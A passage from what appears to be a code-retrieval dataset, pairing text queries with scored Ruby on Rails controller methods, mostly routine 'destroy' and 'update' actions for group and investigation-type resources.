"text": "def destroy\n #@group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "04d4997b33c08ec041583e61e9703cbd",
"score": "0.7105893",
"text": "def destroy\n @lunch_group.destroy\n respond_to do |format|\n format.html { redirect_to lunch_groups_url, notice: 'Lunch group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "408aeba67d6cdb806c6ed65c067a6805",
"score": "0.7101258",
"text": "def destroy\n @test_sub_group = TestSubGroup.find(params[:id])\n @test_sub_group.destroy\n\n respond_to do |format|\n format.html { redirect_to test_sub_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b744e092fbf0a7167c33989e5254eea7",
"score": "0.7092557",
"text": "def destroy\n @api_v1_group.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d10b5894d7a70d314635de280b50659c",
"score": "0.7091137",
"text": "def destroy\n @group.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "bf217b2660e70e042db385f72f3d56cd",
"score": "0.7090477",
"text": "def destroy\n\t project = @task_group.project\n @task_group.destroy\n respond_to do |format|\n format.html { redirect_to project_task_groups_url(project) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4bfa91da927d4c7cbedf330d06bbc4b7",
"score": "0.7090258",
"text": "def destroy\n @member_project_grouping.destroy\n respond_to do |format|\n format.html { redirect_to member_project_groupings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "db435fbc27bf8ea21aa2b7d1a2a3359d",
"score": "0.7088681",
"text": "def destroy\n @group = Group.find_by_id(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "3c1861b8ae13c837db0778876d230a20",
"score": "0.7083865",
"text": "def destroy\n @groups_grouping.destroy\n respond_to do |format|\n format.html { redirect_to groups_groupings_url, notice: 'Grouping was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fd5624aff96e92d65968005caaf7c341",
"score": "0.70803314",
"text": "def destroy\n @open_group = OpenGroup.find(params[:id])\n @open_group.destroy\n\n respond_to do |format|\n format.html { redirect_to open_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d37f8ae24355534e148fd3e628aa5ad7",
"score": "0.7080235",
"text": "def destroy\n study_group = StudyGroup.find params[:id]\n\n if study_group.destroy\n head 204\n else\n render json: { resource: \"studyGroup\", errors: errors_hash_for(StudyGroup, \"could not be destroyed\") }, status: 500\n end\n end",
"title": ""
},
{
"docid": "a8238e102177762c12dac68f1592f914",
"score": "0.70784223",
"text": "def destroy\n @admin_mkh_group = Admin::MkhGroup.find(params[:id])\n @admin_mkh_group.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_mkh_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "adc1ecdbea0979a5df72e52b1b028e7a",
"score": "0.70634824",
"text": "def destroy\r\n @group.destroy\r\n\r\n head :no_content\r\n end",
"title": ""
},
{
"docid": "fabc8593cdbf2564459e86e0e685169b",
"score": "0.70564",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => :index }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "da5794f3d3bd6b23fd97fe6e3fd6300e",
"score": "0.70551115",
"text": "def destroy\n @team_group = TeamGroup.find(params[:id])\n @team_group.destroy\n\n respond_to do |format|\n format.html { redirect_to team_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "20bbad27b0639d6a0077d39f847a91ef",
"score": "0.7045198",
"text": "def destroy\n @groupb = Groupb.find(params[:id])\n @groupb.destroy\n\n respond_to do |format|\n format.html { redirect_to groupbs_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0b57600a3729ca5f63b7d9d8cf405232",
"score": "0.7040955",
"text": "def destroy\n @group_request.destroy\n respond_to do |format|\n format.html { redirect_to group_requests_url, notice: 'Group request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0b24080e8202e481a8065f698201ad94",
"score": "0.70368564",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0b24080e8202e481a8065f698201ad94",
"score": "0.70368564",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0b24080e8202e481a8065f698201ad94",
"score": "0.70368564",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0b24080e8202e481a8065f698201ad94",
"score": "0.70368564",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8ee346cb8cd91fd421333276c7fe8d05",
"score": "0.70338416",
"text": "def destroy\n @group = Group.find_by_slug_or_id(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to(groups_url) }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.7031519",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.7031519",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "04efefc2036dec1d85744dbfb1d28d16",
"score": "0.70310044",
"text": "def test_delete_work_groups_when_project_deleted\n n_wg=WorkGroup.all.size\n p=Project.find(2)\n assert_equal 1,p.work_groups.size\n wg = p.work_groups.first\n \n wg.people=[]\n wg.save!\n User.current_user = Factory(:admin).user\n p.destroy\n \n assert_equal nil,WorkGroup.find_by_id(wg.id)\n wg=WorkGroup.all.first\n assert_same 1,wg.project_id\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f88338c37899fcaa4fb85a5ddb6b4365",
"score": "0.70304763",
"text": "def destroy\n @group = Group.find(params[:id])\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dc047bb5a2c281851a914678527179a5",
"score": "0.7029703",
"text": "def destroy\n @studygroup.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "90cb80eb193605f4ab2d1f8927ff9a6a",
"score": "0.7029638",
"text": "def destroy\n groupname = @task.group\n @task.destroy\n respond_to do |format|\n format.html { redirect_to tasks_path(:groupname => groupname), notice: 'Task was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "31e2266b108527dad6e6fd3e286781a6",
"score": "0.7028574",
"text": "def destroy\n @task_group.destroy\n respond_to do |format|\n format.html { redirect_to task_groups_url, notice: \"Task group was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9252d9f960d66ef9ae007d4aa8e8421a",
"score": "0.7015683",
"text": "def destroy\n @admin_group = Admin::Group.find(params[:id])\n @admin_group.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "652438be7071d99e21a752ea76e59d81",
"score": "0.7008918",
"text": "def destroy\n @group = Group.find(params[:id])\n name = @group.name #needed for output message\n @group.destroy\n track_activity @group\n respond_to do |format|\n format.html { redirect_to groups_url, notice: \"#{name} group was deleted.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "525b556e1a41d6fd1ba868ca67c4186d",
"score": "0.7003229",
"text": "def call(id)\n client.delete(\"/api/rest/v1/groups/#{id}.json\")\n true\n end",
"title": ""
},
{
"docid": "6eea309f4fec3273b3f596bda854957d",
"score": "0.69987077",
"text": "def destroy\n @resource_group.destroy\n \n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "89545456e8adf41db4fbd5e3baf4036f",
"score": "0.6998011",
"text": "def destroy\n @personalgroup.destroy\n respond_to do |format|\n format.html { redirect_to personalgroups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ea254d49f826b6d57fbc6791095dd7cd",
"score": "0.69977343",
"text": "def destroy\n @tile_group.destroy\n respond_to do |format|\n format.html { redirect_to tile_groups_url, notice: 'Tile group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2293c08eec0e91721466b223813d1862",
"score": "0.69965917",
"text": "def destroy\n @group.active = !@group.active\n\n group_json = @group.to_h.to_json\n\n url = @httpIp+'/pet.com/api/group/updateGroup'\n uri = URI(url)\n res = Net::HTTP.post(uri, group_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully deleted\"\n redirect_to groups_path\n\n\n end",
"title": ""
},
{
"docid": "5393de90f8be57d46a32af3f71a740e8",
"score": "0.6988118",
"text": "def destroy\n @check_group = CheckGroup.find(params[:id])\n @check_group.destroy\n\n respond_to do |format|\n format.html { redirect_to check_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ae11e2733e237bf5abd355a710994112",
"score": "0.6987469",
"text": "def destroy\n @fields_group = FieldsGroup.find(params[:id])\n @fields_group.destroy\n\n respond_to do |format|\n format.html { redirect_to fields_groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "674185a7bd2e4a9fe80a9c5ae5e28e14",
"score": "0.6986563",
"text": "def destroy\n @large_group.destroy\n respond_to do |format|\n format.html { redirect_to large_groups_url, notice: 'Large group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "899b599ad46abc17a75740d1ef0f2bc5",
"score": "0.69857806",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to backoffice_groups_url, notice: 'Group was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "75a0bcc4c4564b72ec5662cad534280e",
"score": "0.6982761",
"text": "def destroy\n @meetup_group.destroy\n\n respond_to do |format|\n format.html { redirect_to current_user }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fda84405d94efd7ab3ac95c2d2442165",
"score": "0.6981347",
"text": "def destroy\n @group_change_request.destroy\n respond_to do |format|\n format.html { redirect_to group_change_requests_url, notice: 'Group change request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a8943433be521cbeec5a4c2c1cd81119",
"score": "0.69783187",
"text": "def destroy\n @exercises_group.destroy\n respond_to do |format|\n format.html { redirect_to exercises_groups_url, notice: 'Exercises group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c48883ad3735c5918576421e8a39f344",
"score": "0.69779205",
"text": "def destroy\n @discipline_group.destroy\n respond_to do |format|\n format.html { redirect_to discipline_groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7eaf6c3e727fd29126506242a35518cc",
"score": "0.69729185",
"text": "def destroy\n if @group.destroy\n Group.rebuild!\n end\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "53491e221506ef3b3aad70dbcc0caa9f",
"score": "0.6970969",
"text": "def destroy\n @todo_group.destroy\n respond_to do |format|\n format.html { redirect_to todo_groups_url, notice: 'Todo group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "04812d29ad797524363f9c4ded065f72",
"score": "0.6969467",
"text": "def destroy\n authorize! :admin, :site\n\n @group = Group.find(params[:id]) \n @group.destroy \n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "04812d29ad797524363f9c4ded065f72",
"score": "0.6969467",
"text": "def destroy\n authorize! :admin, :site\n\n @group = Group.find(params[:id]) \n @group.destroy \n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "33a6ae43aa1c229e3b4116f25467628b",
"score": "0.6966494",
"text": "def destroy\n @study_group.destroy\n respond_to do |format|\n format.html { redirect_to study_groups_url, notice: 'Study group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0145e552f13e05aa4c0ae273e8dc7cc7",
"score": "0.696386",
"text": "def destroy\n @jewelrygroup.destroy\n respond_to do |format|\n format.html { redirect_to jewelrygroups_url, notice: 'Jewelrygroup was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2e8742c89084f895cea7f3ff2574733d",
"score": "0.69620997",
"text": "def destroy\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to user_groups_url(current_user.id)}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "974ace4b1096f5e4f6ac622ec768fcbe",
"score": "0.6957412",
"text": "def destroy\n @subgroup = Subgroup.find(params[:id])\n @subgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to subgroups_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "58f5908bffdda8dc33d4bef020e9f68a",
"score": "0.69573015",
"text": "def destroy\n @test_group.destroy\n respond_to do |format|\n format.html { redirect_to test_groups_url, notice: 'Test group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
6d5eab4e2dda5376e90bc1e1ef199f15 | PATCH/PUT /investigationinjurytypes/1 PATCH/PUT /investigationinjurytypes/1.json | [
{
"docid": "21f5c3b6a932ed6394ed6266e46caf99",
"score": "0.7467892",
"text": "def update\n respond_to do |format|\n if @investigationinjurytype.update(investigationinjurytype_params)\n format.html { redirect_to @investigationinjurytype.investigation, notice: 'Investigationinjurytype was successfully updated.' }\n format.json { render :show, status: :ok, location: @investigationinjurytype }\n else\n format.html { render :edit }\n format.json { render json: @investigationinjurytype.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] | [
{
"docid": "18962ff0a270a1409df28e9b42418f44",
"score": "0.72334933",
"text": "def update\n respond_to do |format|\n if @investigation_type.update(investigation_type_params)\n format.html { redirect_to @investigation_type, notice: 'Investigation type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @investigation_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f049b83aae53e5ff8accb23e583ea7a7",
"score": "0.7160436",
"text": "def update\n @investigation_type = InvestigationType.find(params[:id])\n\n respond_to do |format|\n if @investigation_type.update_attributes(params[:investigation_type])\n format.html { redirect_to @investigation_type, notice: 'Investigation type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @investigation_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "58ca49837678cdccdd3d3a48c36c602e",
"score": "0.6616623",
"text": "def update\n respond_to do |format|\n if @insurance_type.update(insurance_type_params)\n format.html { redirect_to insurance_types_url }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @insurance_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a66095354a6492a9b97b4493e81caf3d",
"score": "0.6487764",
"text": "def update\n respond_to do |format|\n if @injury.update(injury_params)\n format.html { redirect_to @injury, notice: 'Injury was successfully updated.' }\n format.json { render :show, status: :ok, location: @injury }\n else\n format.html { render :edit }\n format.json { render json: @injury.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "65db656da3d2656da0389213af915e42",
"score": "0.64814216",
"text": "def update\n respond_to do |format|\n if @investigation.update(investigation_params)\n format.html { redirect_to @investigation, notice: 'Investigation was successfully updated.' }\n format.json { render :show, status: :ok, location: @investigation }\n else\n format.html { render :edit }\n format.json { render json: @investigation.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ced4e719b313483a7d15e88c0e54434",
"score": "0.6386881",
"text": "def update\n @incident_type = IncidentType.find(params[:id])\n\n respond_to do |format|\n if @incident_type.update_attributes(params[:incident_type])\n format.html { redirect_to @incident_type, notice: 'Incident type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d73bdeb8981297453f44af35bb72a74",
"score": "0.63493717",
"text": "def investigationinjurytype_params\n params.require(:investigationinjurytype).permit(:investigation_id, :injurytype_id)\n end",
"title": ""
},
{
"docid": "4907c1bb3b819c75cd9385e1cae09f45",
"score": "0.631082",
"text": "def update\n respond_to do |format|\n if @investigate.update(investigate_params)\n format.html { redirect_to @investigate, notice: 'Investigate was successfully updated.' }\n format.json { render :show, status: :ok, location: @investigate }\n else\n format.html { render :edit }\n format.json { render json: @investigate.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64381d7f0393a974f3c30cac80ff2f25",
"score": "0.628899",
"text": "def update\n respond_to do |format|\n if @intervention_type.update(intervention_type_params)\n format.html { redirect_to intervention_types_url, notice: \"Intervention type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @intervention_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @intervention_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a97a455abb00d70f5b2ccd7432e519ed",
"score": "0.6277286",
"text": "def update\n respond_to do |format|\n if @investigationaction.update(investigationaction_params)\n format.html { redirect_to @investigationaction.investigation, notice: 'Investigationaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @investigationaction }\n else\n format.html { render :edit }\n format.json { render json: @investigationaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f780206f51cc0cf1eda394a1a0800b65",
"score": "0.6275319",
"text": "def update\n respond_to do |format|\n if @inspection_type.update(inspection_type_params)\n format.html { redirect_to @inspection_type, notice: 'Inspection type was successfully updated.' }\n format.json { render :show, status: :ok, location: @inspection_type }\n else\n format.html { render :edit }\n format.json { render json: @inspection_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "635111af9841d78e58589c1a7080f875",
"score": "0.6271121",
"text": "def update\n respond_to do |format|\n if @type_incidence.update(type_incidence_params)\n format.html { redirect_to @type_incidence, notice: 'Type incidence was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_incidence }\n else\n format.html { render :edit }\n format.json { render json: @type_incidence.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5b26292916b2f0fb144ed70a580ce5c4",
"score": "0.62562203",
"text": "def update\n respond_to do |format|\n if @interest_type.update(interest_type_params)\n format.html { redirect_to @interest_type, notice: 'Interest type was successfully updated.' }\n format.json { render :show, status: :ok, location: @interest_type }\n else\n format.html { render :edit }\n format.json { render json: @interest_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "470369b7ff586fc5881b51a88bb20440",
"score": "0.6255894",
"text": "def update\n authorize! :update, CompetenceType\n @competence_type.update!(competence_type_params)\n render json: {status: :ok}\n end",
"title": ""
},
{
"docid": "5ace4549d7cd999a196f7237b39bced1",
"score": "0.6229625",
"text": "def set_investigationinjurytype\n @investigationinjurytype = Investigationinjurytype.find(params[:id])\n end",
"title": ""
},
{
"docid": "7f031c8f170f2fe4fdf810be2899bd6b",
"score": "0.62295955",
"text": "def update\n respond_to do |format|\n if @injury.update(injury_params)\n format.html do\n redirect_to [@regular_inspection, @injury],\n notice: I18n.t('controller.common.success_on_update', model_name: Injury.model_name.human)\n end\n format.json { render :show, status: :ok, location: @injury }\n else\n @components = Component.where(bridge: @regular_inspection.bridge)\n format.html { render :edit }\n format.json { render json: @injury.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "98c07e1989c55f3e448cbd10452bca85",
"score": "0.6224884",
"text": "def update\n respond_to do |format|\n if @specimen_type.update(specimen_type_params)\n format.html { redirect_to @specimen_type, notice: 'Specimen type was successfully updated.' }\n format.json { render :show, status: :ok, location: @specimen_type }\n else\n format.html { render :edit }\n format.json { render json: @specimen_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "22bd9628520ea748ef2fe4a901d897ee",
"score": "0.6212055",
"text": "def update\n respond_to do |format|\n if @invest.update(invest_params)\n format.html { redirect_to @invest, notice: 'Invest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "22bd9628520ea748ef2fe4a901d897ee",
"score": "0.6212055",
"text": "def update\n respond_to do |format|\n if @invest.update(invest_params)\n format.html { redirect_to @invest, notice: 'Invest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @invest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9176c55572922e6af56ac4b97bafd07",
"score": "0.620386",
"text": "def update\n respond_to do |format|\n if @area_interest.update(area_interest_params)\n format.html { redirect_to area_interests_path(id: @area_interest.line_investigation_id) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @area_interest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b70121ca15fa206e9e076ed2b698dc7",
"score": "0.61928165",
"text": "def update\n respond_to do |format|\n if @inquiry_type.update(inquiry_type_params)\n format.html { redirect_to @inquiry_type, notice: 'Inquiry type was successfully updated.' }\n format.json { render :show, status: :ok, location: @inquiry_type }\n else\n format.html { render :edit }\n format.json { render json: @inquiry_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ea2ef056ab9fc3351d4885f07d486b3",
"score": "0.6177272",
"text": "def update\n respond_to do |format|\n if @investigationequipment.update(investigationequipment_params)\n format.html { redirect_to @investigationequipment.investigation, notice: 'Investigationequipment was successfully updated.' }\n format.json { render :show, status: :ok, location: @investigationequipment }\n else\n format.html { render :edit }\n format.json { render json: @investigationequipment.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d7ffce28a27db66ade69a2fbe0f869c",
"score": "0.6173663",
"text": "def update\n respond_to do |format|\n if @resident_type.update(resident_type_params)\n format.html { redirect_to @resident_type, notice: 'Resident type was successfully updated.' }\n format.json { render :show, status: :ok, location: @resident_type }\n else\n format.html { render :edit }\n format.json { render json: @resident_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e60c9a0c341ab5e6b77694c9210ad415",
"score": "0.61722183",
"text": "def update\n @team = Team.find(params[:team_id])\n @injury = Injury.find(params[:id])\n\n respond_to do |format|\n if @injury.update_attributes(params[:injury])\n format.html { redirect_to club_team_injuries_path(@team.club, @team), notice: 'Injury was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @injury.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5de21f8f95872925e70ed8e4519d5dd3",
"score": "0.616904",
"text": "def update\n respond_to do |format|\n if @expend_type.update(expend_type_params)\n format.html { redirect_to @expend_type, notice: 'Expend type was successfully updated.' }\n format.json { render :show, status: :ok, location: @expend_type }\n else\n format.html { render :edit }\n format.json { render json: @expend_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "664449ca79919ada2f216f482a874b4d",
"score": "0.61584884",
"text": "def update\n @expensetype = Expensetype.find(params[:id])\n\n respond_to do |format|\n if @expensetype.update_attributes(params[:expensetype])\n format.html { redirect_to expensetypes_url, notice: 'Expensetype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expensetype.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d030952cdd1303df56323db2473af1c",
"score": "0.6158441",
"text": "def update\n @investment_type = InvestmentType.find(params[:id])\n\n respond_to do |format|\n if @investment_type.update_attributes(params[:investment_type])\n format.html { redirect_to(@investment_type, :notice => 'Investment type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @investment_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b7cea52fce96185ecbb746da4407f7e",
"score": "0.61559963",
"text": "def update\n @insurance_type = InsuranceType.find(params[:id])\n @insurance_type.updated_user = current_user.login_name\n \n respond_to do |format|\n if @insurance_type.update_attributes(params[:insurance_type])\n format.html { redirect_to insurance_types_path, notice: 'Insurance type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @insurance_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ad2aba92689bb689b624b3ce209ce59",
"score": "0.6154049",
"text": "def update\n @investigation = Investigation.find(params[:id])\n # PUNDIT_REVIEW_AUTHORIZE\n # PUNDIT_CHECK_AUTHORIZE (found instance)\n # authorize @investigation\n update_gse\n\n if params[:update_material_properties]\n # set the material_properties tags\n @investigation.material_property_list = (params[:material_properties] || [])\n @investigation.save\n end\n\n if params[:update_cohorts]\n # set the cohort tags\n @investigation.set_cohorts_by_id(params[:cohort_ids] || [])\n @investigation.save\n end\n\n if params[:update_grade_levels]\n # set the grade_level tags\n @investigation.grade_level_list = (params[:grade_levels] || [])\n @investigation.save\n end\n\n if params[:update_subject_areas]\n # set the subject_area tags\n @investigation.subject_area_list = (params[:subject_areas] || [])\n @investigation.save\n end\n\n if request.xhr?\n if cancel || @investigation.update_attributes(params[:investigation])\n render :partial => 'shared/investigation_header', :locals => { :investigation => @investigation }\n else\n render :xml => @investigation.errors, :status => 